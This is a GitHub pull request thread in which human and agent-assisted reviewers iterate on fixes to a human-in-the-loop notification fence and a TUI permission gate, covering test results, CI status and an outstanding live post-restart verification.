   generic yes/no, so a dialog whose first affirmative is "Yes, always
   allow …" or "Yes, purchase usage credits" is allow_always / spend
   (engine_confirms on the wire) and never a one-click allow_once.
   Both first-affirmative shapes are pinned through the manager's
   confirm step: held, Confirm, then keys_for types Enter.
2. renotify._pending_resolve: the reminders > 0 clause is gone; due()
   keeps it (a never-reminded card owes no recovery), but a resolved
   card whose edit is refused fences its seat's recovery regardless.
   Test: an older reminded card and a newer never-reminded one, both
   resolved, only the newer edit refused: no "cleared" until it lands.
   The vendored ag2_sparrow copy is byte-identical.

confirm-step 10, TUI gate 38, renotify 27 (+1 each round-trips on the
old code), replies 53, hook-driver 16, vendored 3, escalation 58.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
… cap

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>

@sonichi sonichi left a comment

Copy link
Copy Markdown
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Looks right at 7582b43. I'll approve once "lints + typecheck" is green. It is red on one thing, the Review checks (REVIEW.md) step:

prose-cap: tests/hitl-renotify.test.py:227 comment block is 3 lines (cap 2)

Trim that comment to two lines; the narrative belongs in the commit message. While there, the other new comments and docstrings name a reviewer and the PR ("keweichen's review on #6220"); CLAUDE.md asks comments not to reference PRs or people.

The substance is good:

  • tui_gate.py option_action classifies allow_always and spend before the generic yes/no. A first affirmative of "Yes, always allow …" or "Yes, purchase …" is therefore held for Confirm and no longer a one-click Enter. TheFirstAffirmativeIsStillHeld pins both, and the plain-"Yes" one-click path.
  • renotify.py _pending_resolve drops reminders > 0, so a never-reminded card whose resolve edit is refused still fences its seat's recovery. The new test covers the older-reminded / newer-unreminded split, and the vendored ag2-sparrow copy is byte-identical.

@keweichen keweichen left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Changes requested at exact head 7582b435d4771133be745fd5d519cf35b8b9466f; this head is not merge-ready.

The two findings from 4ef4931b are fixed and the new tests discriminate them. One adjacent supported ledger shape still bypasses the same seat-wide ordering fence:

  • src/hitl/renotify.py:122 requires projection.notified_at in _pending_resolve. But tests/hitl-renotify.test.py:341-347 explicitly defines the pre-upgrade projector ledger as bare {revision, event_id}. Repro at this head: let an older same-seat card send a reminder; add a newer card with that bare legacy ledger; resolve both; refuse only the newer resolve edit. HEAD sends ✓ Cleared and marks the older card recovered while the newer visible card remains at projection revision 1 against requirement revision 2. Removing only the notified_at predicate suppresses recovery until the edit succeeds; renotify 27/27, projector 67/67, and vendored parity 3/3 stay green. The fence needs to cover every visible stale resolved edit, independently of whether that card itself owes recovery. Please add the mixed current/legacy refused-edit case.

Two independent gates also remain:

  • Required exact-head CI is red: Review checks reject the three-line comment at tests/hitl-renotify.test.py:227, and the new comments/docstrings name a reviewer / PR despite the repository comment policy. Sonichi already identified this cleanup, so I am not duplicating its details.
  • The PR body still explicitly says the required real post-restart round trip was not done. Because this changes projector/reply delivery, the exact-head limit-menu, permission, and pending-question lifecycle witness remains required.

What changes this verdict: fence the legacy ledger case, make required CI green, and attach the real exact-head post-restart witness.

(agent-assisted, Sutando for keweichen's seat)

…o; no reviewer or PR names in comments

_pending_resolve no longer requires notified_at: a newer card whose
ledger is the old bare {revision, event_id} still holds the seat's
recovery while its resolve edit is refused (due() alone decides which
cards owe a recovery of their own). Test: older current card reminded
and resolved, newer legacy-ledger card with a refused edit, no cleared
until it lands; it fails with the requirement back. Comments and
docstrings name the behaviour only; the review that found it is here
in the history. The vendored copy is byte-identical.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
@liususan091219

Copy link
Copy Markdown
Collaborator Author

Taken over for Susan (Claude Code; the sutando bot has been quiet). The branch is at 1f35408:

  1. tui_gate.option_action classifies _ALWAYS / _SPEND before the generic yes/no. With live options Yes, always allow access to tmp/ from this project / No (and Yes, purchase usage credits / No) the card is [("opt1", allow_always|spend), ("deny", reject_once)] with engine_confirms; the first click is held, Confirm applies it, and only then keys_for → ["Enter"]. Pinned in hitl-confirm-step (both shapes through the manager step, plus a plain-Yes-first control) and hitl-tui-gate.
  2. renotify._pending_resolve looks at neither the reminder count nor notified_at: any projected resolved card whose edit is refused fences its seat; due() alone decides which cards owe a recovery of their own. Two tests: (a) older reminded card + newer never-reminded card, only the newer edit refused; (b) older current card + newer card on a pre-upgrade bare {revision, event_id} ledger with its edit pending. Each fails with its old condition restored. The vendored ag2_sparrow copy is byte-identical.
  3. prose-cap is clean (scripts/review-checks.sh PASS on the diff), and reviewer/PR names are out of comments and docstrings.

Suites: confirm-step 10, TUI gate 38, renotify 28, replies 53, hook-driver 16, vendored 3, chat-escalation 58, sparrow-projection 14. (hitl-projector shows 3 assertNoLogs errors here on this Mac's older Python, identical on the base head.)

REVIEW.md 15 (post-restart live round trip): that witness needs Susan's sutando restarted on this branch, which is hers to do; I've asked her. It will be posted here when run. Merging stays Susan's. Re-review please.

@keweichen keweichen left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Changes requested at exact head 1f35408fad871b834f96cd4ac09dda3a0617447b; this head is not merge-ready.

The sensitive first/only affirmative and bare pre-upgrade ledger findings are fixed with discriminating tests. One adjacent terminal state still bypasses the same seat-wide ordering fence:

  • src/hitl/renotify.py:118 makes _pending_resolve return false unless the requirement is STATUS_RESOLVED. But plan() excludes every terminal status from open_. Repro at this head: let an older same-seat card send a reminder, project a newer card, resolve the older card, cancel (and separately expire) the newer card, then refuse only the newer terminal edit. In both cases HEAD emits ✓ Cleared — worker pro-dev … while the newer visible card remains stale. Changing only the predicate to cover TERMINAL_STATUSES makes both cases and the expanded renotify suite pass 29/29. Expiry is reachable through src/hitl/events.py:110-116 and src/core-input-watch.py:859-883. Please fence recovery on every visible stale terminal edit and add cancel + expire regression cases.

The worst case is the relay accepting the older resolve edit, refusing a newer cancel/expire edit, then announcing that the seat cleared while the owner still sees the newer card pending.

Independent gate: the PR body still explicitly says the required real post-restart limit-menu, permission, and pending-question lifecycle witness is not done. Current-head CI is green, but harness proof does not substitute for that live projector/reply witness.

Should-fix: tests/hitl-tui-gate.test.py:66 narrates the old incident ("used to run first"); comments should state the constraint, not history.

What changes this verdict: cover all stale terminal edits in the fence, add the adjacent tests, and attach the exact-head post-restart witness.

(agent-assisted, Sutando for keweichen's seat)

… like a refused resolve edit

_pending_resolve covers every terminal status, not resolved alone: a
newer same-seat card cancelled or expired with its edit refused held
no fence, so the older card's recovery announced the seat cleared over
a card still visibly stale. Tests for both ends; each fails with the
resolved-only predicate. The TUI-gate test comment states the
constraint. The vendored copy is byte-identical.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
@github-actions

github-actions Bot commented Nov 4, 2026

Copy link
Copy Markdown
Contributor

@cla-assistant check

@sonichi sonichi left a comment

Copy link
Copy Markdown
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Approving at 1f35408f; CI is green (48 passed, 3 skipped).

Since 7582b435 there are two commits:

  • Comment cap. The tests/hitl-renotify.test.py comment is two lines now, and reviewer and PR names are gone from the comments and docstrings in renotify.py, tui_gate.py and the three test files.
  • Legacy-ledger fence. _pending_resolve no longer requires notified_at. A resolved card with a stale projected revision now fences its seat until its edit lands, whatever ledger shape it has, and recovered still ends the fence. The new test covers the mixed case: an older current card is reminded and resolved, then a newer same-seat card on a bare {revision, event_id} ledger has its edit refused. It asserts no "cleared" message while that edit is refused, and exactly one once it lands. The vendored ag2_sparrow/hitl/renotify.py hunk is identical.

What is left is the live post-restart round trip from REVIEW.md 15, which the PR still owes. keweichen's changes-requested also needs his own re-review. I did not re-run the suites locally; this delta is a one-predicate change plus its test, and CI ran them.

(agent-assisted, Blue for Chi's seat)

@liususan091219

Copy link
Copy Markdown
Collaborator Author

Branch at 4ff938f, for the 11:12Z review:

  • _pending_resolve now fences on every terminal status (TERMINAL_STATUSES), not resolved alone. Tests: older reminded card resolved, newer same-seat card cancelled (and, separately, expired) with only its terminal edit refused → no "cleared" on that drive, one after the edit lands. Both fail with the resolved-only predicate. renotify is 30/30; the vendored copy is byte-identical.
  • The TUI-gate test comment states the constraint ("a lasting grant or a spend is classified before the generic yes/no"), no history.
  • scripts/review-checks.sh PASS on the diff; confirm-step 10, TUI gate 38, replies 53, events 10, sparrow-projection 14, vendored 3, chat-escalation 58.

The post-restart live witness (limit menu, permission, pending-question lifecycle) is still outstanding: it needs Susan's sutando restarted on this exact head, which is hers to schedule; I've asked her and will post what is seen here before any merge. Re-review of the code please.

@sonichi

sonichi commented Nov 4, 2026

Copy link
Copy Markdown
Owner

Correction to my approval above. It landed on 4ff938f3, which was pushed while I was reviewing 1f35408f, so the "CI is green" in it is for 1f35408f, not this head.

I've now read 4ff938f3 too, and the approval stands for it: _pending_resolve now fences on any TERMINAL_STATUSES card (cancelled and expired as well as resolved) whose terminal edit hasn't landed. The revision >= req.revision check still lifts the fence once the edit lands. CI on 4ff938f3 was still running when I posted this, so the green CI here is still owed.

(agent-assisted, Blue for Chi's seat)

@sonichi sonichi left a comment

Copy link
Copy Markdown
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Approve at 4ff938f.

  • _pending_resolve now fences on any terminal status (TERMINAL_STATUSES: resolved, cancelled, expired) whose edit is behind, not only resolved. A newer same-seat card that was cancelled or expired, with its edit refused, now holds the seat's "cleared" until that edit lands, the same as a refused resolve edit. Recovery itself (due) stays tied to resolved plus a reminder, so this widens only the fence, not what earns a recovery. The two new tests cover cancel and expire.
  • The vendored ag2-sparrow copy is byte-identical (same blob), and review-checks pass locally on the full diff.

@keweichen keweichen left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Exact-head follow-up for 4ff938f36e19a51e88381f8763560e9fd53c7380: the code findings from the prior review are fixed.

_pending_resolve now fences every terminal state, including cancelled and expired cards. The exact-head renotify suite collects and passes 30/30; reverting only the predicate to resolved-only keeps all 30 tests collected and fails exactly the new cancel and expire cases with premature ✓ Cleared. Adjacent controls are correct: stale visible resolved/cancelled/expired cards fence, while pending/in-progress, unprojected, current-revision, and already-recovered cards do not. The historical comment was also replaced with a constraint statement.

Focused evidence is green: projector 67/67, TUI gate 38/38, vendored parity 3/3, and the source/vendored renotify files are byte-identical. Review checks pass. Raw exact-head CI is complete with 47 successes and 3 skips; structured readiness receipts remain unknown.

The existing changes-requested verdict remains active solely for the mandatory live-path gate. The PR body still marks the post-restart round trip undone, and the latest exact-head author comment says the limit-menu, permission, and pending-question lifecycle witness is still outstanding. Worst case without that witness is a harness-clean projector/reply change that still fails in the restarted live service. Attach the real exact-head lifecycle round trip, then this is ready for another review; I am not approving before that evidence exists.

@liususan091219

Copy link
Copy Markdown
Collaborator Author

Live-path witness, status (ASK, cost named — not grounds to approve):

I tried to run the post-restart lifecycle round trip on an isolated engine at this head (4ff938f), so as not to touch Susan's live checkout. Two things make that impossible on this host as it stands:

  1. _project_hitl projects cards only from the agent's primary gateway (owns_unaddressed()), and resolve_destination(OWNER_PRIVATE) needs that gateway's owner DM. A second bridge on the same agent identity projects nothing unless it displaces the live one — which is the restart the gate wants to see, not an isolated run. A clean isolated witness needs its own enrolled agent identity (a relay token and an owner DM of its own).
  2. tmux is not installed here, so core-input-watch has no pane to read: the permission and limit-menu cards cannot be raised by the real producer, staged or otherwise. The pending-question card alone could be driven through pq.py ask --option.

What the gate needs, then, is an owner-scheduled window: run the bridge from the detached worktree at this exact head with the workspace pinned to the live one (CONTRIBUTING's recipe), restart it, raise the three cards, click each to its cleared card, and capture the bridge log, the store records and the pane. Cost: the owner's Claude Code gateway bridge down for the restart (about a minute; the broker holds leased tasks, so inbound is replayed rather than lost), plus installing tmux. I have asked Susan for that window; until it is granted, the witness stays undone and this PR stays unmerged. I will post the capture here when it exists.

@liususan091219

Copy link
Copy Markdown
Collaborator Author

Correction and preflight at the exact head (4ff938f), no service touched:

  • tmux IS on this host (the desktop engine's engine/bin/tmux, 3.5a; it was only off PATH). So the producer half could be preflighted for real: two private tmux panes showing the limit menu and a permission dialog whose first option is "Yes, always allow access to tmp/ from this project", read by src/core-input-watch.py (--interval 1 --stable 1 --no-auto-answer --seat witness) into an isolated store.
  • Raised records: core-blocked "Usage limit reached" with actions opt1 select / opt2 select / opt3 spend / open_terminal; permission with opt1 allow_always / deny reject_once / open_terminal (the first-affirmative shape from blocker 1; before the fix this was allow/allow_once). Both wires carry engine_confirms.
  • Manager step on those records (HitlManager.apply_action): the spend click → status pending, revision 2, actions confirm/back, confirming on the wire, message "“Switch to usage credits” spends money. Confirm?"; Confirm → in_progress, chosen opt3, revision 3, keys_for against the live pane capture → ["Down", "Down", "Enter"]. The allow_always click → held the same way ("… is a lasting permission …"); Confirm → in_progress, chosen opt1, keys_for → ["Enter"].

What is still not witnessed, and needs the owner's window: the room half after a restart — bridge projection into the DM, the owner's real click through the reply handler, the keys typed into the pane, the resolved edit and the cleared card (plus the pending-question card via pq.py ask). The runbook for that window is written; it stays undone until Susan grants it, and the PR stays unmerged until then.

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

4 participants